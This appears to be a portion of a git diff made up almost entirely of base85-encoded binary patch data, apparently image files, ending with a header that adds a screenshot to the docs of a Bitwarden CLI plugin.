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 G|Gxk_+>urQ literal 0 HcmV?d00001 diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/06-folder-drawer.png b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/06-folder-drawer.png new file mode 100644 index 0000000000000000000000000000000000000000..b2d2d871593b8522605eef16502b7501e52d78ae GIT binary patch literal 91287 zcmdSAWl&sC6fby@AR$PC!vFyi+}%l#;2zxF-5r8^5?lre?ry;)xVsJR?hf8f%5`EEyyMmEEyNGMJm>9a4@)H*L87S0@b3dR4F? z0a9XLzk4hlLtI^O=9iJr_r}U(Y8>71KYVOzX~D4#e4Ae}d zfp87}9UXa+5J3F>g$woEM}C}Ev)S3)&26{E{j^P#p@jsFJQz!4Ag$=M0uVtV4?guF z;K71bOk7+0{N>8`PlrCj`1`R_6V3?Q|C{rF{Nw-cW$S6hmpBRfALfjNWa4|rt5s({ zsrfCXL9p>dVoystzixj;=x!5>!E`VSs;Oh4uT-|(t+*oXU(70daQsaI*W{mKvfVAG zY2#k`uRPup<9LfaKY%^)U)HFaQ==XQY!+RN-PP9>qrEqR?vTT^1xAXlZvCML&TD!! z?F}zK6mg25sFCwF)}n4t~B{oA^r5gBfyu6$)!*h(B^1~b@SIA_r>zb=(t9!s@7 zH1qo}W_HzSQT0pdc2kOeQcRRt(()VsGGME$1Y246@D?Tq0B{ItIRigV23p194LtWV zKp(e4Sh=19G>4O(-R$HdoBu`0eXj0k#b1V~euM22J8O5-b--ZM46O&qt(01P*|PRU zI`vtIW4_qO{uGAu83^bU5?JbwwYw$#ri$fWzcO*o{TXwgWWO63*xb}A_x(Su}l z*y71D6rGnqX5AFa%6nQMre#|?%X)`v0WU(T#5dmjWXWQB$Cr9F3M4sz8K z3-C(mtKx`wUBtr6b7)TPyP_;X?vPlTy52(fj+{21mHfWn8P~PcAK22E)i>XN*dZ@K zDIAlLXTT1@B;#XP(Ns)y-CSS1cVhqVG?X8Oc6P;2#utWXh37DxPW!q}Dck(Lp|FoA zE)g+CT6d>cK^Dp^z6Z!n9s=V9>%kcsH!*WKKHNF9ZL@O1ZxTR{*^CTSH}8`*TqL@ z!-UG*?Tza@LCrU%-FHNH|HvwtFtBFz#0(RYg&)=o8xn24EcP>KTf>*mn+f)nLy!DVhoK$OEVmvhO!4|K2RE~`AI~&dgh|<8qW|MD3TBy2% z&Ttno$?2`4Hlj8-Ri)?0!04LhTYyXNeWr_)(&shG&NU<;xT0PDg8_XlS^@|-7foub zzb*E&gI||De7?TU8+nV4Ahyr95#lbKek#UUjsXXJe9x|*c_Mz~s)aoa2fPnixjOcq z1|R7SUbUa~%*t3zBlQ#1^X1B&QLAAzd}f@NC*XMM*UwBjrTi34MSZ%mN*R$li$~!= z2z?IgD1V!%Q|nZLed?XpF_Sk*n6mWGi`i%I-xK`l6dpTlQ`jE-#zrKs`1*qyUrMcS zB62sG7O|n#Q)b(FS85zI-O)1X(3E0q=R`bbu zGn6Sebf)rD|CJaWC|fjqje}eY`ae?TPDM1p+JA~)TjebYS&rM)ruP}KZ?h66SQzi{R zyzFFG|EcF*mJT+s!}2@`?qEd0=Zn$hSTUcUJ2p!eMeOp$Im*<$-#zsqS+m@pK7+n` z#gz5W`@}bYQeP9YA80FTqVq|LmY%<&7Uy8+dG|?88KY;} zOjIhE-Kc?yfAENp=@V%}@zotYpYWlL8*!97G3L^>blh^PPYQlbgj%-C>(}B32jT!w zXX&9U&z7|P=~E*JPdgP{X<{U>(yAk#eTjDY-crFl$um0q-OaDBNumK^h$&OiHn?cO z?sI({14N8xu85AIq;0NOt&db#RX}(p`FE2S4;s1lTA73G$}O||jx{e}{4kmIy5c_` zc9rpUcjt&ISOj6=9?2sDuJd=pO_;lL{+6UovbMNK7r65}$Uv&6d=fOvzqcZM_MsXS~HhjeHL!p!5@7 zzTTpOs24Kqs6CdC6gw&CGECHT#`E2WA>H4CZ&sIzG41^Q$7;Qu%O)QMdG>mqMoK#h71_gf9BPqsKX@VxNp}a9b!>*FZuW%$_U8)ym%&B-Pxr&~>6%|*CAkDU1$D-A- zu>>Ym(@A=|AF)K>$ZQz!@Y^EySI3yvDU-tNh8fvHBnXifURXHyN9sN?h}7hW z4&GNuJ`)KDxJ$+w}=PK5|{|Nr38Jevy5C!P4~> zaV%~nF~khwbuHemNTUk71+`i1NcJyDq4C(x z6_C00mHchRGdep^5V+m!ehqv}TFS^JS2My 